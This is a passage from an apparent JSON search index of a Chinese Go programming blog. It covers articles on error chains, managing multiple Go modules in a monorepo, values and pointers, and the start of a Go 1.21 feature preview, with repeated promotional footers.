err2 := fmt.Errorf(\u0026quot;2nd err: %w\u0026quot;, err1) err3 := fmt.Errorf(\u0026quot;3rd err: %w\u0026quot;, err2) fmt.Println(err3) var e *MyError ok := errors.As(err3, \u0026amp;e) if ok { fmt.Println(e) return } } 在这个示例中，我们通过errors.As将错误链err3中的err1提取到e中，后续就可以使用err1这个特定错误的信息了。\n3. 小结 错误链是Go中提供信息丰富的错误信息的一项重要技术。通过用额外的上下文包装错误，你可以提供关于错误的更具体的信息，并帮助开发人员更快地诊断出问题。\n不过错误链在使用中有一些事项还是要注意的，比如：避免嵌套错误链。嵌套的错误链会使你的代码难以调试，也难以理解错误的根本原因。\n结合错误链，通过给错误添加上下文，创建自定义错误类型，并在适当的抽象层次上处理错误，你可以写出简洁、可读和信息丰富的错误处理代码。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/05/14/a-guide-of-using-go-error-chain/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/a-guide-of-using-go-error-chain-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/05/14/a-guide-of-using-go-error-chain\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/05/14/a-guide-of-using-go-error-chain\"\u003ehttps://tonybai.com/2023/05/14/a-guide-of-using-go-error-chain\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"0-go错误处理简要回顾\"\u003e0. Go错误处理简要回顾\u003c/h2\u003e\n\u003cp\u003eGo是一种非常强调错误处理的编程语言。在Go中，错误被表示为实现了error接口的类型的值，error接口只有一个方法：\u003c/p\u003e","title":"Go错误处理：错误链使用指南"},{"content":"\n本文永久链接 – https://tonybai.com/2023/05/10/a-guide-of-managing-multiple-go-modules-in-mono-repo\n0. 单repo单module管理回顾 众所周知，Go在1.11版本中引入了go module，随着近几年Go module机制的逐渐成熟，它已经被Go团队确定为Go标准的依赖管理与构建方案，原先的GOPATH mode已经被彻底废弃。\n在Go module模式下，最常见的Go项目组织方式就是一个repo(代码仓库)对应一个Go module。repo的根路径中放置go.mod文件，repo的根路径也是module root directory。该Go module下的package的导入路径则由go.mod中的module path以及该package相对于module root directory的路径共同构成。\n以“example.com/go”这一module path为例，如果某个package存放在foo/bar下，那么bar下的package的导入路径就是“example.com/go/foo/bar”；如果是v2版本，那么导入路径为“example.com/go/v2/foo/bar”。\n在一个repo对应一个Go module的策略下，Go module的版本管理和发布也相对容易，通常我们采用分支方式来进行major号升级(如下图)，通过tag来进行版本发布。\n上图是单repo单module的分支管理方案，两种方案均可。\n左侧的方案中：master分支承载v0-v1，每升级一个major号，建立一个vN分支，default分支指向最高major号的分支，方便开发者clone repo时直接拿到最新的代码。\n注：左侧方案有一个问题，那就是一旦default分支执行最高major号分支vN，那么你如果要go get master分支的最近更新，需要显式指定master分支，比如: go get example.com/go/foo/bar@master。使用latest或不加任何分支名都无法获取到master上的最新更新。\n右侧的方案也是建立vN分支，但不同的是，该方案会将master分支作为active开发分支，也是默认分支并定期将稳定后的feature同步到最高major号分支，这也是我个人比较喜欢的方式。前不久刚刚被官宣为redis官方Go客户端的go-redis采用的就是这个方案(下面是go-redis的vN分支情况)：\n注：在单一repo中管理一个go module的方法十分成熟了。我在专栏《Go语言第一课》的06和07讲对此做了系统的讲解，感兴趣的小伙伴可以去阅读一下。\n有了单repo单module的项目组织方式，就会有单repo多module的组织方式，比如著名的etcd项目，就是在一个repo中管理多个go module的典型例子。\n那么为什么要在一个repo中管理多个go module呢？我们继续往下看。\n1. 为什么要在一个repo中管理多个Go module 其实这个问题的本质是monorepo与multiple repo之间的“战争”。那么上述问题也就变成了一个monorepo与multiple repo的优劣对比。我个人从未真正使用过monorepo这种所有项目代码都放在一个单一仓库中的组织形式，不过从网上的公开资料来看，monorepo有如下的一些优点：\n容易看到 如果你正在做一个调用其他微服务的微服务，你可以看一下代码，了解它是如何工作的，并确定bug是来自你自己的代码还是其他团队的微服务。\n代码共享 团队为微服务重复编写代码会产生额外的工作开销。有了monorepo，团队可以更容易地分享代码。\n改进协作 有了monorepo，就更容易在各团队之间实现代码和工具的标准化。\n标准化 单一代码仓库使得跨团队的代码和工具的标准化更加容易。\n可发现性 有了monorepo，更容易找到你需要的代码。\n发布管理 单一版本使我们更容易地管理跨多个服务的发布。\n更容易重构 重构代码在单版本中更容易，因为所有的代码都在一个地方。\n当然，使用单一代码仓库也有一些缺点，这些缺点也足以让很多组织和开发团队对其望而却步：\n增加仓库的大小 一个单库通常会比只包含一个项目的版本库大。这可能会导致更长的构建时间和更多的磁盘空间使用。\n增加复杂性 单一代码仓库的管理比只包含一个项目的版本库更复杂。这是因为有更多的代码需要跟踪和管理。\n增加冲突的风险 当多个开发者在单一仓库中处理相同的代码时，会有更大的冲突风险。这是因为开发人员可能在同一个代码的不同版本上工作。\n不能限制访问 monorepo不允许有选择的分享。\n陡峭的学习曲线 当新的开发者开始与已经有monorepo的组织合作时，他们通常需要足够长的时间来适应所有紧密耦合的依赖关系。\n总的来说，使用monorepo既有优点也有缺点，是否使用monorepo最终还是要取决于项目和团队的具体需求。\n不过，monorepo下的多module是实际存在的，并且Google内部就是如此，显然go module也一定要对此做很好的支持的，下面我们就来看看go是如何支持mono repo下的多个go module的。\n我们先来看看mono repo下各个go module的导入路径的确定。\n2. monorepo中各个go module下的package的导入路径 在前面回顾单repo单module的项目组织方式下，module下的package的导入路径为：module path+package在module root directory下的相对路径。那么monorepo中各个go module下的package的导入路径又是什么呢？\n首先monorepo下的各个go module的module root路径并非monorepo的root路径，以下面的结构举例；\nexample.com └── go/ ├── mqtt/ │ ├── bar/ │ │ └── go.mod │ └── foo/ │ └── go.mod └── vehicle/ ├── baz/ │ └── go.mod └── zoo/ └── go.mod 我们看到在example.com这个顶层目录下并没有go module，go modules分布在example.com下的各个子目录中。以mqtt/bar下的go module为例，它的module path应该为repo根路径+bar的相对路径，即example.com/go/mqtt/bar，这样bar下面的package pkg1，它的导入路径就为example.com/go/mqtt/bar/pkg1，如果bar这个go module升级到v2版本，则pkg1的导入路径就会变为example.com/go/mqtt/bar/v2/pkg1。其余的go module下的packge的导入路径以此类推。\n3. monorepo下各个go module的版本发布 在单repo单module下，我们通过打vx.y.z标签的方式发布module，但是在monorepo多module下，再在repo上针对repo打整体的、诸如v1.0.1这样的标签就没有太大意义了(当然为了整体管理的需要，依然可以打整体标签，比如像etcd那样打v3.5.8)，并且对于monorepo下的多个go module而言，go get也不会识别这种整体标签，那么我们该如何发布monorepo下的go module呢？\n其实也很简单，我们为module单独打标签来发布。以上面的example.com/go/mqtt/bar这个module为例，如果我们要为其发布v1.0.0版本，我们需要为example.com这个repo打上tag：go/mqtt/bar/v1.0.0；如果它要发布v1.1.0版本了，我们则需为example.com这个repo打上tag：go/mqtt/bar/v1.1.0。也就是说要发布哪个module，就用module相对于monorepo根的相对路径+版本号作为tag号。\n4. monorepo下各个go module的major版本变更 了解了上述monorepo下各个go module的版本发布方式后，我们就可以将monorepo下的每个go module像单repo单module那样单独对待了！以example.com/go/mqtt/bar为例，当major版本变更时，我们可以建立类似go/mqtt/bar/v1分支，然后将master分支的go.mod中的module path改为example.com/go/mqtt/bar/v2，这样我们就可以在go/mqtt/bar/v1分支继续维护v1版本的bar module，并打tag：go/mqtt/bar/v1.x.y；在master分支维护v2版本的bar module，并打tag：go/mqtt/bar/v2.x.y。\n当然go还支持另外一种major版本的维护方式，那就是通过目录隔离。当major版本要升级为v2时，我们可以在go/mqtt/bar下面建立v2目录(像v2这类目录被称为major version subdirectories)，然后在v2目录下维护major为v2的版本，这种方式下你就无需建立vN分支了，可以在master上通过目录隔离的方式同时维护多个major版本。发布时，同样打go/mqtt/bar/v2.x.y标签。这种方式一个最大的好处就是与GOPATH mode可以“无缝衔接”，因为GOPATH mode下，go工具链就是通过路径查找package的。\n不过这种major version subdirectories的方式并不常用，即便在开源项目中也是比较少见的。\n5. 小结 本文介绍了go module的基础概念，回顾了单repo单module的包管理方法，包括版本发布、major号升级等。接下来，我们介绍了monorepo下管理多个go module的方案，除了在打tag时要注意带上相对路径外，monorepo下module的包管理方法与单repo单module本质上是一致的。\n6. 参考资料 REPO STYLE WARS: MONO VS MULTI – https://gigamonkeys.com/mono-vs-multi/ Mono Repo vs Multi Repo: Deep Dive Into The Neverending Debate – https://speakerdeck.com/lemiorhan/mono-repo-vs-multi-repo-deep-dive-into-the-neverending-debate “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/05/10/a-guide-of-managing-multiple-go-modules-in-mono-repo/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/a-guide-of-managing-multiple-go-modules-in-mono-repo-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/05/10/a-guide-of-managing-multiple-go-modules-in-mono-repo\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/05/10/a-guide-of-managing-multiple-go-modules-in-mono-repo\"\u003ehttps://tonybai.com/2023/05/10/a-guide-of-managing-multiple-go-modules-in-mono-repo\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"0-单repo单module管理回顾\"\u003e0. 单repo单module管理回顾\u003c/h2\u003e\n\u003cp\u003e众所周知，\u003ca href=\"https://tonybai.com/2018/11/19/some-changes-in-go-1-11/\"\u003eGo在1.11版本中引入了go module\u003c/a\u003e，随着近几年Go module机制的逐渐成熟，它已经被Go团队确定为\u003cstrong\u003eGo标准的依赖管理与构建方案\u003c/strong\u003e，原先的GOPATH mode已经被彻底废弃。\u003c/p\u003e","title":"Go项目组织：在单一repo中管理多个Go module指南"},{"content":"\n本文永久链接 – https://tonybai.com/2023/05/05/go-value-and-pointer\n1. 计算机中的值 在百万年的演化历史中，人类对事物的属性进行了抽象，有了数量、精度、信息等概念的表示，对应的我们称之为整数、小数、文本文字等。计算机出现后，我们使用计算机对真实世界的问题进行建模，通过计算机的高效计算解决这些问题并输出答案。为了建模，计算机需要建立对上述基本概念的抽象和表示，于是有了类型与值的概念。\n计算机中所有数据都存储在内存中并参与问题解决的计算，真实世界的概念表示与内存中的数据的转换关系如下图：\n图中的有界比特序列(bounded bit sequence)就是真实世界概念表示在计算机内存中的存储形式，我们可以统称它为一个值(value)。这个值的比特序列形式由类型决定。举个例子：一个公司的员工数量为1000人，这个真实世界的概念在计算机中的表示过程如下：\n我们用uint16类型来表示员工数量，这样它在内存存储形式为0000 0011 1110 1000。如果你用不同的类型来表示员工数量，那么在内存中表示员工数量的值的比特序列将是不同的。\n反之，对于内存中的一段有界比特序列，在不同类型guided的decode下，得到的结果也是不同的，如下图。\n我们看到：在uint64的guided下，0000 0011 1110 1000这个比特序列被解释为1000；而在[2]byte的guided下，0000 0011 1110 1000这个同样的比特序列则被解释成了2个数字。\n计算机中的值不仅仅可以表示一个数字，也可以表示一个字符串，甚至是像结构体这样的复合类型，它本质上就是一块儿连续的内存，内存单元是有地址的，通过该地址访问和更新内存单元中的值。\n但在编程过程中直接使用内存地址是十分不便的，因此在高级编程语言中，编程语言通过具名的标识符与内存单元建立“绑定”关系，就得到了我们通常说的常量和变量，而内存单元中存储的数据(即值)也可说成是常量持有的数据和变量持有的数据。\n当然也有一些不和任何标识符“绑定”的值，我们称之为字面值(literal value)。我们通常用字面值为变量和常量赋[初]值：\nvar a int = 17 s := \u0026quot;hello\u0026quot; const f float64 = 3.1415926 原生类型的字面值，可以简单理解为汇编中的立即数；而复杂类型(比如结构体)的字面值，则一般是临时存储在栈上的有界比特序列。\n2. 一切皆是值 根据上一节关于值的定义，我们可以认为：在Go语言中，所有东西都是以值的形式存在的。在Go语言中，不仅仅是基本类型如整数、浮点数、布尔值等，就连复杂的数据结构，如结构体、数组、切片、map、channel等都以值的形式存在。\n到这里有小伙伴可能会问：“不对啊，map、channel等应该是指针吧”。别急，要解答这个问题，我们就要来看看值的分类。\n2.1 值的分类 在Go中，值可分为以下几种类型：\n基本类型值 基本类型是Go语言中最基础的数据类型，它们是直接由语言定义的。基本类型的值通常是简单的值，比如整数、浮点数、布尔值等。在Go语言中，基本类型的值可以进行各种运算和比较操作。\n复合类型值 复合类型则是由基本类型组成的更复杂的数据类型。它们的值由多个基本类型值组合而成，并且可以使用结构化的方式进行访问和操作。在Go语言中，复合类型包括分为数组、切片、map、结构体、接口、channel等多种类型。这些复合类型在不同的场景下都有不同的用途，可以用于表示不同的数据结构或者实现不同的算法。\n字符串在Go中是一个特殊的存在，从Go类型角度来看，它应该属于原生内置的基本类型，但从值的角度考虑，由于在运行时字符串类型表示为一个两字段的结构(如下)\ntype StringHeader struct { Data uintptr Len int } 因此，我们将其归为复合类型值范畴。\n指针类型值 有一类值十分特殊，它自身是一个基本类型值，更准确的说是一个整型值，但这个整型值的含义却是另外一个值所在内存单元的地址。如下图所示：\n我们看到：指针类型值为0×12345678，这个值是另外一个内存块(值为0×17)的地址。指针类型值在Go语言以及C、C++这一的静态语言中扮演着极其重要的角色。\n回答前面小伙伴的问题：map、channel是不是值? 是值，只不过是指针类型值。从Go语法上来说，map、channel是某个runtime指针类型的实例。\n2.2 值的可变性 在继续深入指针之前，我们先来插播一个内容：值的可变性。\n前面说过值是一段连续内存，是一个有界比特序列。原理上来说，内存中的值都是可变的。但现实中，考虑到操作系统管理以及应用安全的需要，暴露给开发人员的值被做了限定，即有些值(内存单元中的数据)是可变的，而有一些值是不可变的。\n首先，操作系统负责物理内存与虚拟内存的映射，应用开发人员面对的是平坦的虚拟内存。这部分平坦的虚拟内存也被分为了几个段(segment)，比如：BSS段、数据段、代码段、堆栈等，有些segment上的值是只读的，不可变的，比如代码段，有些则是可读写的可变的，比如堆栈。\n此外，Go在编程语言层面也对值做了限制，常量值是不可变的，字符串类型值是不可变的，其他则为可变值。\n2.3 指针类型 针对指针这类值，编程语言抽象出了一种类型：指针类型，指针类型的变量与指针类型值绑定，它内部存储的是另外一个内存单元的地址。这样就衍生出通过指针读取和更新指针指向的值的操作方法：\nvar a int = 5 // 基础类型值 var p = \u0026amp;a // p为指针类型变量(*int)，其值为变量a的地址。 println(*p) // 通过指针读取其指向的变量a的值 *p = 15 // 通过指针更新其指向的变量a的值 不过，指针更大的好处在于传递开销低，且传递后，接收指针的函数/方法体中依然可以修改指针指向的内存单元的值。\n接下来，我们来详细说一下值的传递。\n2.4. 值的传递 无论是赋值还是传参，Go语言中的所有值的传递的方法都是值拷贝，也称为逐位拷贝(bitwise copy)。\n不过即便是值拷贝，也会带来三种不同效果：\n传值：你是你，我是我 效果：传递前后的变量各自独立更新，互不影响。\n示例：传整型、浮点型、布尔值等。\n传指针：你是你，我是我，但我们共同指向他 效果：传递前后的指针变量拥有相同的指针值，因此共同指向同一个内存对象(d)。通过其中一个指针变量对指向的内存对象进行更新后(e)，另一个指针变量可以感知到相同的变化。\n示例：传*T指针类型变量。包括在Go runtime层面本质是一个指针的类型，比如map、channel等。\n传“引用”：你是你，我是我，但我们有一部分共同指向他 首先要注意，Go语言规范中没有“引用类型”这一表述。其次，也不要将这里的“引用”与其他语言的“引用类型”相提并论。\n这里传“引用”的效果是：传递前后的变量一部分是独立更新互不影响的，一部分则是有共同指向，相互影响的。最典型的例子就是切片。当我们将切片传入函数后，函数内对切片的更新操作会影响到原切片，包括更新切片元素的值、向切片追加元素等。尤其是向切片追加(append)元素后，会导致传递前后的两个切片出现“不一致”，详情可以参考我之前写的一篇文章《当函数设计遇到切片》。\n这里之所以使用的“引用”来形容这种效果，主要是像slice这样的类型与我们熟知的其他语言中的引用(reference)很像，都是它们以“值”的形态传递，但却能干着“指针”的活儿。\n3. 关于值的一些tips 3.1 零值 在Go语言中，每个变量都有一个默认的零值，即在变量未被初始化时的默认值。这个默认值取决于变量的类型，可以是一个数字、布尔值、字符串、指针、数组、结构体等等。\n在Go语言中，零值可以用来初始化变量的默认值，也可以用来清空变量的值。\nvar i int // i的零值为0 var s string // s的零值为\u0026quot;\u0026quot; var p *int // p的零值为nil var a [3]int // a的零值为[0 0 0] var b struct { x int; y float64 } // b的零值为{0 0.0} 在这个例子中，我们使用var关键字声明了5个变量，并使用它们的零值来初始化这些变量的值。\n另外，我们可以使用零值来清空变量的值，例如：\nvar i int = 10 // 初始化i的值为10 i = 0 // 使用i的零值来清空它的值 在使用零值时，需要注意以下两个问题：\n指针类型的零值为nil，不能直接使用nil指针来访问变量的值，否则会导致panic。 可声明零长度数组类型，这样的类型的实例不占用内存空间，这在一些特殊场合下会很有用。 3.2 值的比较 Go语言的值比较是通过比较两个值的二进制表示来实现的。在Go语言中，值比较主要用于判断两个值是否相等。下面是Go语言值比较的场景、规则和注意事项：\n场景 判断两个值是否相等； 判断两个值是否不相等； 判断一个值是否为nil； 判断两个指针是否指向同一个对象。 规则 对于基本类型（如int、float、bool等），只需要比较它们的值就可以了； 对于复合类型（如数组、切片、map等），需要递归比较它们的元素或键值对； 对于结构体类型，需要递归比较它们的字段； 对于接口类型，需要判断它们是否指向同一个动态类型以及动态值是否相等。 注意事项 对于浮点数类型，不能使用“==”运算符进行比较，因为浮点数的精度问题可能导致比较结果不正确，应该使用math包中的函数进行比较； 对于切片类型，Go不支持直接使用“==”运算符进行比较，因为它们的底层数据结构可能不同，应该使用reflect包中的函数DeepEqual进行比较； 对于结构体类型，如果其中包含不可比较的字段（如切片、映射、函数等），则整个结构体类型也是不可比较的； 对于指针类型，需要注意空指针的情况，应该先判断指针是否为nil，再进行比较。 3.3 method receiver的值与指针类型的选择 在Go语言中，method receiver可以是值类型或指针类型。这个选择可能会影响代码的性能、正确性和可读性等方面。\n当一个方法的receiver是一个值类型时，receiver的传递会出现“传值”效果，方法体中对这个值的修改不会影响原来的值。但是，如果这个值类型的对象非常大，每次调用方法都需要进行复制，这会导致一定的性能损失。\n当一个方法的receiver是一个指针类型时，这个方法操作的就是原来的对象，并且可以修改原来的对象。这种方式可以避免复制对象的开销，并且可以访问和修改对象的内部状态。但是，如果多个goroutine同时访问同一个对象时，就会发生竞争条件，导致程序出现不可预料的行为。\n在选择method receiver的类型时，可考虑以下几个因素：\n对象的大小：如果对象很小，可以选择值类型的method receiver，避免复制对象的开销；如果对象很大，可以选择指针类型的method receiver，避免复制整个对象的开销。 对象的可变性：如果对象需要被修改，应该选择指针类型的method receiver；如果对象不需要被修改，可以选择值类型的method receiver，保证代码的可预测性和可读性。 对象类型或对象的指针类型是否需要实现特定的接口。 注：关于method receiver的类型选择问题，在《Go语言第一课》专栏的第25讲有系统的讲解。\n3.4 使用unsafe.Pointer进行不同type guided的值decode 前面说过，值是一个“有界比特序列”，在不同类型guided的decode下，得到的结果也是不同的。我们可以通过unsafe.Pointer来进行不同的decode，比如下面例子将一个uint32的值重新分别decode为一个[2]uint16和[4]uint8数组：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;unsafe\u0026quot; ) func main() { var a uint32 = 0x12345678 b := (*[2]uint16)(unsafe.Pointer(\u0026amp;a)) c := (*[4]uint8)(unsafe.Pointer(\u0026amp;a)) fmt.Println(*b) // [22136 4660] fmt.Println(*c) // [120 86 52 18] } 4. 小结 本文对Go语言中值做了重新解读，我们认为Go中的值就是一个有界比特序列(bounded bit sequence)，是真实世界概念表示在计算机内存中的存储形式。\n围绕着值这个概念，我们指出Go中一切皆是值。在这一观点的基础上，重新了解了值的分类、值的可变性、指针类型以及重要的值的传递，学习了值的传递的本质：bitwise-copy，以及这个传递过程针对不同类型值所取得的不同效果。\n最后，我们了解了一些与值有关的tips，包括零值、值比较、method receiver类型选择以及值decode。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/05/05/go-value-and-pointer/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/advanced-go/go-value-and-pointer-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/05/05/go-value-and-pointer\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/05/05/go-value-and-pointer\"\u003ehttps://tonybai.com/2023/05/05/go-value-and-pointer\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"1-计算机中的值\"\u003e1. 计算机中的值\u003c/h2\u003e\n\u003cp\u003e在百万年的演化历史中，人类对事物的属性进行了抽象，有了数量、精度、信息等概念的表示，对应的我们称之为整数、小数、文本文字等。计算机出现后，我们使用计算机对真实世界的问题进行建模，通过计算机的高效计算解决这些问题并输出答案。为了建模，计算机需要建立对上述基本概念的抽象和表示，于是有了类型与值的概念。\u003c/p\u003e","title":"Go：值与指针"},{"content":"\n本文永久链接 – https://tonybai.com/2023/04/26/go-1-21-foresight\nGo 1.21版本正在如火如荼地开发当中，按照Go核心团队的一年两次的发布节奏来算，Go 1.21版本预计将在2023年8月发布(Go 1.20版本是在2023年2月份发布的)。\n本文将和大家一起看看Go 1.21都会带来哪些新特性。不过由于目前为时尚早，下面列出的有些变化最终不一定能进入到Go 1.21的最终版本中，所以切记一切变更要以最终Go 1.21版本发布时为准。\n在细数变化之前，我们先来看看Go语言的当前状态。\n1. Go语言当前状态 在《2022年Go语言盘点》一文中，我们提到年初Go语言的2022年终排名为12位，同时TIOBE官方编辑也提到：“在新兴编程语言中，Go是唯一一个可能在未来冲入前十的后端编程语言”。Go语言的发展似乎应验了这一预测，在今年的3月份，Go就再次进入编程语言排行榜前十：\n一个月后的四月初，TIOBE排行榜上，Go稳住了第10名的位次：\n在国内，在鹅厂前不久发布的《2022年腾讯研发大数据报告》中，\n在国内，继Go在2021年从C++手中夺过红旗首次登顶鹅厂最热门编程语言之后，在鹅厂前不久发布的《2022年腾讯研发大数据报告》中，Go蝉联鹅厂最热门编程语言，继续夯实在国内头部互联网公司内的优势地位：\nGo于2009年开源，在经历多年的宣传和鼓吹后，Go目前进入了平稳发展的阶段。疫情结束后，原先线上举办或取消的国内外的Go技术大会现在陆续又都开始恢复了，相信这会让更多开发人员接触到Go。像Go这样的能在世界各地持续多年举办技术大会的语言真是不多了。\n接下来，我们就来聚焦到Go 1.21版本，挖掘一下这个版本都有哪些新特性。\n2. 语言变化 目前Go 1.21版本里程碑中涉及语言变化的有大约2项，我们来看看。\n2.1 增加clear预定义函数 Go 1.21增加了一个clear预定义函数用来做切片和map的clear操作，其原型如下：\n// $GOROOT/src/builtin.go // The clear built-in function clears maps and slices. // For maps, clear deletes all entries, resulting in an empty map. // For slices, clear sets all elements up to the length of the slice // to the zero value of the respective element type. If the argument // type is a type parameter, the type parameter's type set must // contain only map or slice types, and clear performs the operation // implied by the type argument. func clear[T ~[]Type | ~map[Type]Type1](t T) clear是针对map和slice的操作函数，它的语义是什么呢？我们通过一个例子来看一下：\npackage main import \u0026quot;fmt\u0026quot; func main() { var sl = []int{1, 2, 3, 4, 5, 6} fmt.Printf(\u0026quot;before clear, sl=%v, len(sl)=%d, cap(sl)=%d\\n\u0026quot;, sl, len(sl), cap(sl)) clear(sl) fmt.Printf(\u0026quot;after clear, sl=%v, len(sl)=%d, cap(sl)=%d\\n\u0026quot;, sl, len(sl), cap(sl)) var m = map[string]int{ \u0026quot;tony\u0026quot;: 13, \u0026quot;tom\u0026quot;: 14, \u0026quot;amy\u0026quot;: 15, } fmt.Printf(\u0026quot;before clear, m=%v, len(m)=%d\\n\u0026quot;, m, len(m)) clear(m) fmt.Printf(\u0026quot;after clear, m=%v, len(m)=%d\\n\u0026quot;, m, len(m)) } 运行该程序：\nbefore clear, sl=[1 2 3 4 5 6], len(sl)=6, cap(sl)=6 after clear, sl=[0 0 0 0 0 0], len(sl)=6, cap(sl)=6 before clear, m=map[amy:15 tom:14 tony:13], len(m)=3 after clear, m=map[], len(m)=0 我们看到：\n针对slice，clear保持slice的长度和容量，但将所有slice内已存在的元素(len个)都置为元素类型的零值； 针对map，clear则是清空所有map的键值对，clear后，我们将得到一个empty map。 2.2 改变panic(nil)语义 使用defer+recover捕获panic是Go语言唯一处理panic的方法，其典型模式如下：\npackage main import \u0026quot;fmt\u0026quot; func foo() { defer func() { if err := recover(); err != nil { fmt.Printf(\u0026quot;panicked: %v\\n\u0026quot;, err) return } fmt.Println(\u0026quot;it's ok\u0026quot;) }() panic(\u0026quot;some error\u0026quot;) } func main() { foo() } 运行上面程序会输出：\npanicked: some error 例子中我们向panic传入了表示panic原因的字符串，panic的参数是一个interface{}类型，可以传入任意值，当然也可以传入nil。\n比如上面例子，当我们给foo函数的panic调用传入nil时，我们将得到下面结果：\nit's ok 这可能会给开发者带去疑惑：明明是触发了panic，但函数却按照正常逻辑处理！2018年，前Go核心团队成员bradfitz就提出了一个issue：spec: guarantee non-nil return value from recover，提出当开发者调用panic(nil)时，recover应该返回某种runtime error，而不是nil。这个issue在今年被纳入了Go 1.21版本，现在该issue的实现已经被merge到了主干。\n新的实现在src/runtime/panic.go中定义了一个名为PanicNilError的新Error：\n// $GOROOT/src/runtime/panic.go // A PanicNilError happens when code calls panic(nil). // // Before Go 1.21, programs that called panic(nil) observed recover returning nil. // Starting in Go 1.21, programs that call panic(nil) observe recover returning a *PanicNilError. // Programs can change back to the old behavior by setting GODEBUG=panicnil=1. type PanicNilError struct { // This field makes PanicNilError structurally different from // any other struct in this package, and the _ makes it different // from any struct in other packages too. // This avoids any accidental conversions being possible // between this struct and some other struct sharing the same fields, // like happened in go.dev/issue/56603. _ [0]*PanicNilError } func (*PanicNilError) Error() string { return \u0026quot;panic called with nil argument\u0026quot; } func (*PanicNilError) RuntimeError() {} Go编译器会将panic(nil)替换为panic(new(runtime.PanicNilError))，这样我们用Go 1.21版本运行上面的程序，我们就会得到下面结果了：\npanicked: panic called with nil argument 如果你的遗留代码中调用了panic(nil)(注：显然这不是一种很idiomatic的作法)，升级到Go 1.21版本后你就要小心了。如果你想保留原先的panic(nil)行为，可以用GODEBUG=panicnil=1。\n有童鞋可能会质疑这违反了Go1兼容性承诺，但实际上Go1兼容性规范保留了对语言规范中不一致或错误的修订权力，即便这种修订会导致遗留代码出现与原先不一致的行为。\n3. 编译器与工具链 每个Go版本中，编译器和工具链的改动都不少，我们挑重点看一下：\n3.1 一些OS的最小支持版本的更新 Go 1.21开始，go installer支持最小macOS版本更新为10.15，而最小Windows版本为Windows 10。\n3.2 低版本的go编译器将拒绝编译高版本的go module 从Go 1.21版本开始，低版本的go编译器将拒绝编译高版本的go module(go.mod中go version标识最低版本) ，这也是Russ Cox策划的Go扩展的向前兼容性提案的一部分。此外，Go扩展向前兼容性提案感觉比较复杂，可能不会全部在Go 1.21版本落地。\n3.3 支持WASI 